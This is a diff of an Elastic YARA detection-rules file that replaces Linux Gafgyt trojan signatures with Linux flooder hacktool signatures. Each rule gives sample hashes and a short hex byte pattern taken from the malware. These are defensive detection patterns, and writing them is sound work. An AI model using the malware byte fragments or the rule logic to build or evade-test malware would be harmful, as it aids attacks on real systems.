 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L892-L910"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df"
-		logic_hash = "80ba5a1cf333fafc6a1d7823ca4a8d5c30c1c07a01d6d681c22dd29e197089f1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L100-L118"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bf6f3ffaf94444a09b69cbd4c8c0224d7eb98eb41514bdc3f58c1fb90ac0e705"
+		logic_hash = "b74f5fad3c7219038e51eb4fa12fb9d55d7f65a9f4bab0adff8609fabb0afdab"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "83377b6fa77fda4544c409487d2d2c1ddcef8f7d4120f49a18888c7536f3969f"
+		fingerprint = "f6e7d6e9c03c8ce3e14b214fe268e7aab2e15c1b4378fe253021497fb9a884e6"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -102692,28 +107227,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_779E142F : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { EC 8B 45 E8 83 E0 02 85 C0 74 07 C7 45 D8 30 00 00 00 8B 45 E8 83 }
+		$a = { C4 48 89 E0 48 83 C0 07 48 C1 E8 03 48 C1 E0 03 48 89 45 C0 C7 45 B4 14 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_Cf84C9F2 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_1Bf0E994 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "cf84c9f2-7435-4faf-8c5f-d14945ffad7a"
+		id = "1bf0e994-2648-4dbb-9b9c-b86b9a347700"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L912-L930"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df"
-		logic_hash = "9af164ece7e7e0f33dc32f18735a8f655593ae6cde34e05108f3221b71aa8676"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L120-L138"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1ea2dc13eec0d7a8ec20307f5afac8e9344d827a6037bb96a54ad7b12f65b59c"
+		logic_hash = "2c1099b8078ac306f7cb67be5b5b5e34f57414b9aa26bdd6c26d3636c80846cd"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "bb766b356c3e8706740e3bb9b4a7171d8eb5137e09fc7ab6952412fa55e2dcfc"
+		fingerprint = "1f844c349b47dd49a75d50e43b6664e9d2b95c362efb730448934788b6bddb79"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -102721,27 +107256,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_Cf84C9F2 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 55 48 89 E5 48 83 EC 30 48 89 7D E8 89 75 E4 89 55 E0 C7 45 F8 01 00 }
+		$a = { 05 88 10 48 8B 45 B8 0F B6 10 83 E2 0F 83 CA 40 88 10 48 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_0Cd591Cd : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_D710A5Da : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "0cd591cd-c348-4c3a-a895-2063cf892cda"
+		id = "d710a5da-26bf-4f6a-bf51-9cdac1f83aa3"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L932-L949"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "4300bdd173dfb33ca34c0f2fe4fa6ee071e99d5db201262e914721aad0ad433b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L140-L158"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ba895a9c449bf9bf6c092df88b6d862a3e8ed4079ef795e5520cb163a45bcdb4"
+		logic_hash = "118a29cc0ccd191181dabc134de282ba134e041113faaa4d95e0aa201646438b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b"
+		fingerprint = "e673aa8785c7076f4cced9f12b284a2927b762fe1066aba8d6a5ace775f3480c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -102749,28 +107285,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_0Cd591Cd : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D }
+		$a = { 74 24 48 8B 45 E0 48 83 C0 10 48 8B 08 48 8B 45 E0 48 83 C0 08 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_859042A0 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_F434A3Fb : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "859042a0-a424-4c83-944b-ed182b342998"
+		id = "f434a3fb-e5fd-4749-8e53-fc6c80ee5406"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L951-L969"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "41615d3f3f27f04669166fdee3996d77890016304ee87851a5f90804d6d4a0b0"
-		logic_hash = "b8daa4a136a6511472703687fe56fbca2bd005a1373802a46c8d211b6d039d75"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L160-L178"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ba895a9c449bf9bf6c092df88b6d862a3e8ed4079ef795e5520cb163a45bcdb4"
+		logic_hash = "11b173f73b87f50775be50c6b4528bd9b148ea4266297aec76ae126cab0facb0"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a27bcaa16edceda3dc5a80803372c907a7efd00736c7859c5a9d6a2cf56a8eec"
+		fingerprint = "b74e55c56a063e14608f7e8f578cc3c74ec57954df39e63e49b60c0055725d51"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -102778,28 +107314,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_859042A0 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 45 A8 48 83 C0 01 48 89 45 C0 EB 05 48 83 45 C0 01 48 8B 45 C0 0F }
+		$a = { C0 48 01 45 F8 48 83 45 E8 02 83 6D E4 01 83 7D E4 00 7F E3 48 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_33B4111A : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_A2795A4C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "33b4111a-e59e-48db-9d74-34ca44fcd9f5"
+		id = "a2795a4c-16c0-4237-a014-3570d1edb287"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L971-L989"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961"
-		logic_hash = "a08c0f7be26e2e9abfaa392712895bb3ce1d12583da4060ebe41e1a9c1491b7c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L180-L198"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9a564d6b29d2aaff960e6f84cd0ef4c701fefa2a62e2ea690106f3fdbabb0d71"
+		logic_hash = "18e15b8a417f9ff2fd9277a01eb3224c761807ce9541ece568f4525ae66eb81f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e"
+		fingerprint = "7c8bf248b159f3a140f10cd40d182fa84f334555b92306e6f44e746711b184cc"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -102807,28 +107343,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_33B4111A : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48 }
+		$a = { 48 8B 45 D8 66 89 50 04 48 8B 45 D8 0F B7 40 02 66 D1 E8 0F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_4F43B164 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_678C1145 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "4f43b164-686d-4b73-b532-45e2df992b33"
+		id = "678c1145-cc41-4e83-bc88-30f64da46dd3"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L991-L1009"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f0fdb3de75f85e199766bbb39722865cac578cde754afa2d2f065ef028eec788"
-		logic_hash = "79a17e70e9b7af6e53f62211c33355a4c46a82e7c4e80c20ffe9684e24155808"
-		score = 75
-		quality = 75
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L200-L218"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "559793b9cb5340478f76aaf5f81c8dbfbcfa826657713d5257dac3c496b243a6"
+		logic_hash = "5ff15c8d92bca62700bbb67aeebc41fd603687dbc0c93733955bf59375df40a1"
+		score = 60
+		quality = 45
 		tags = "FILE, MEMORY"
-		fingerprint = "35a885850a06e7991c3a8612bbcdfc279b87e4ca549723192d3011a1e0a81640"
+		fingerprint = "f4f66668b45f520bc107b7f671f8c7f42073d7ff28863e846a74fbd6cac03e87"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -102836,27 +107372,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_4F43B164 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 46 00 4B 49 4C 4C 53 55 42 00 4B 49 4C 4C 53 55 42 20 3C 73 }
+		$a = { C8 48 BA AB AA AA AA AA AA AA AA 48 89 C8 48 F7 E2 48 C1 EA 05 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_E4A1982B : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_3Cbdfb1F : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "e4a1982b-928a-4da5-b497-cedc1d26e845"
+		id = "3cbdfb1f-6c66-48be-931e-3ae609c46ff4"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L1011-L1028"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "4cd7aa205b3571cffca208e315d6311fa92a5993e2a8e40d342d6184811f42f0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L220-L238"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bd40ac964f3ad2011841c7eb4bf7cab332d4d95191122e830ab031dc9511c079"
+		logic_hash = "38e8ca59bf55c32b99aa76a89f60edcf09956b7cad0b4745fab92eca327c52db"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "d9f852c28433128b0fd330bee35f7bd4aada5226e9ca865fe5cd8cca52b2a622"
+		fingerprint = "c7f5d7641ea6e780bc3045181c929be73621acfe6aec4d157f6a9e0334ba7fb9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -102864,28 +107401,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_E4A1982B : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 8B 45 EC F7 D0 21 D0 33 45 FC C9 C3 55 48 89 E5 48 83 EC 30 48 89 }
+		$a = { 5B 53 54 44 32 2E 43 20 42 59 20 53 54 41 43 4B 44 5D 20 53 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_862C4E0E : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_8B63Ff02 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "862c4e0e-83a4-458b-8c00-f2f3cf0bf9db"
+		id = "8b63ff02-be86-4c63-8f7b-4c70fbd8a83a"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L1030-L1048"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1"
-		logic_hash = "a1dce44e76f9d2a517c4849c58dfecb07e1ef0d78fddff10af601184d636583f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L240-L258"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a57de6cd3468f55b4bfded5f1eed610fdb2cbffbb584660ae000c20663d5b304"
+		logic_hash = "3b68353c8eeb21a3eba7a02ae76b66b4f094ec52d5309582544d247cc6548da3"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2a6b4f8d8fb4703ed26bdcfbbb5c539dc451c8b90649bee80015c164eae4c281"
+		fingerprint = "af7a4df7e707c1b70fb2b29efe2492e6f77cdde5e8d1e6bfdf141acabc8759eb"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -102893,28 +107430,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_862C4E0E : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F }
+		$a = { DC 02 83 7D DC 01 0F 9F C0 84 C0 75 DF 83 7D DC 01 75 1D 66 C7 45 F6 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_9127F7Be : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_30973084 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "9127f7be-6e82-46a1-9f11-0b3570b0cd76"
+		id = "30973084-60d2-494d-a3c6-2a015a9459a0"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L1050-L1068"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "899c072730590003b98278bdda21c15ecaa2f49ad51e417ed59e88caf054a72d"
-		logic_hash = "2b1fa115598561e081dfb9b5f24f6728b0d52cb81ac7933728d81646f461bcae"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L260-L278"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a22ffa748bcaaed801f48f38b26a9cfdd5e62183a9f6f31c8a1d4a8443bf62a4"
+		logic_hash = "d965a032c0fb6020c6187aa3117f7251dd8c9287c45453e3d5ae2ac62b3067bb"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "72c742cb8b11ddf030e10f67e13c0392748dcd970394ec77ace3d2baa705a375"
+		fingerprint = "44fc236199ccf53107f1a617ac872f51d58a99ec242fe97b913e55b3ec9638e2"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -102922,27 +107459,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_9127F7Be : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { E4 F7 E1 89 D0 C1 E8 03 89 45 E8 8B 45 E8 01 C0 03 45 E8 C1 }
+		$a = { 4C 69 73 74 20 49 6D 70 6F 72 74 20 46 6F 72 20 53 6F 75 72 63 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_0E03B7D3 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_1Cfa95Dd : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "0e03b7d3-a6b0-46a0-920e-c15ee7e723f7"
+		id = "1cfa95dd-e768-4071-9038-389c580741f9"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L1070-L1087"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "845be03fac893f8e914aabda5206000dc07947ade0b8f46cc5d58d8458f035f6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L280-L298"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1d88971f342e4bc4e6615e42080a3b6cec9f84912aa273c36fc46aaf86ff6771"
+		logic_hash = "f73a96cc379c8dc060bfe5668ef7e47c5bcd037b3f41c300ef20c2f2f653cb00"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1bf1f271005328669b3eb4940e2b75eff9fc47208d79a12196fd7ce04bc4dbe8"
+		fingerprint = "6ec21acb987464613830b3bbe1e2396093d269dae138c68fe77f35d88796001e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -102950,28 +107488,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_0E03B7D3 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { F5 74 84 32 63 29 5A B2 78 FF F7 FA 0E 51 B3 2F CD 7F 10 FA }
+		$a = { 83 7D EC 00 7E 0F 48 8B 45 F0 0F B6 00 0F B6 C0 48 01 C3 EB 10 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_32Eb0C81 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_25C48456 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "32eb0c81-25af-4670-ab77-07ea7ce1874a"
+		id = "25c48456-2f83-41a8-ba37-b557014d1d86"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L1089-L1107"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df"
-		logic_hash = "a06d9e1190ba79b0e19cab7468f01a49359629a6feb27b7d72f3d1d52d1483d7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L300-L318"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "eba6f3e4f7b53e22522d82bdbdf5271c3fc701cbe07e9ecb7b4c0b85adc9d6b4"
+		logic_hash = "4ed4b901fccaed834b9908fb447da1521bf31f283ae55b6d8f6090814cf8fcd2"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7c50ed29e2dd75a6a85afc43f8452794cb787ecd2061f4bf415d7038c14c523f"
+		fingerprint = "0c79f8eaacd2aa1fa60d5bfb7b567a9fc3e65068be1516ca723cb1394bb564ce"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -102979,27 +107517,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_32Eb0C81 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { D4 48 FF 45 F0 48 8B 45 F0 0F B6 00 84 C0 75 DB EB 12 48 8B }
+		$a = { 45 F8 48 83 6D E0 01 48 83 7D E0 00 75 DD 48 8B 45 F0 C9 C3 55 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_9Abf7E0C : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_B1Ca2Abd : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "9abf7e0c-5076-4881-a488-f0f62810f843"
+		id = "b1ca2abd-b8ab-435d-85b6-a1c93212e492"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L1109-L1126"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "00276330e388d07368577c4134343cb9fc11957dba6cff5523331199f1ed04aa"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L320-L338"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1d88971f342e4bc4e6615e42080a3b6cec9f84912aa273c36fc46aaf86ff6771"
+		logic_hash = "05b906a9823bf9ba25ba1ed490beb8f338429cbc744ca230c5c4cbb41ab9f140"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7d02513aaef250091a58db58435a1381974e55c2ed695c194b6b7b83c235f848"
+		fingerprint = "214c9dedf34b2c8502c6ef14aff5727ac5a2941e1a8278a48d34fea14d584a1a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -103007,28 +107546,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_9Abf7E0C : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 55 E0 0F B6 42 0D 83 C8 01 88 42 0D 48 8B 55 E0 0F B6 42 0D 83 }
+		$a = { C4 48 89 E0 48 83 C0 07 48 C1 E8 03 48 C1 E0 03 48 89 45 B0 C7 45 AC 14 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_33801844 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_Cce8C792 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "33801844-50b1-4968-a1b7-d106f16519ee"
+		id = "cce8c792-ef3e-43c2-b4ad-343de6a69cc7"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L1128-L1146"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2ceff60e88c30c02c1c7b12a224aba1895669aad7316a40b575579275b3edbb3"
-		logic_hash = "20b8ebce14776e48310be099afd0dca0f28778d0024318b339b75e2689f70128"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L340-L358"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ea56da9584fc36dc67cb1e746bd13c95c4d878f9d594e33221baad7e01571ee6"
+		logic_hash = "14700d24e8682ec04f2aae02f5820c4d956db60583b1bc61038b47e709705d0d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "36218345b9ce4aaf50b5df1642c00ac5caa744069e952eb6008a9a57a37dbbdc"
+		fingerprint = "03541eb8a293e88c0b8e6509310f8c57f2cd16b5ff76783a73bde2b614b607fc"
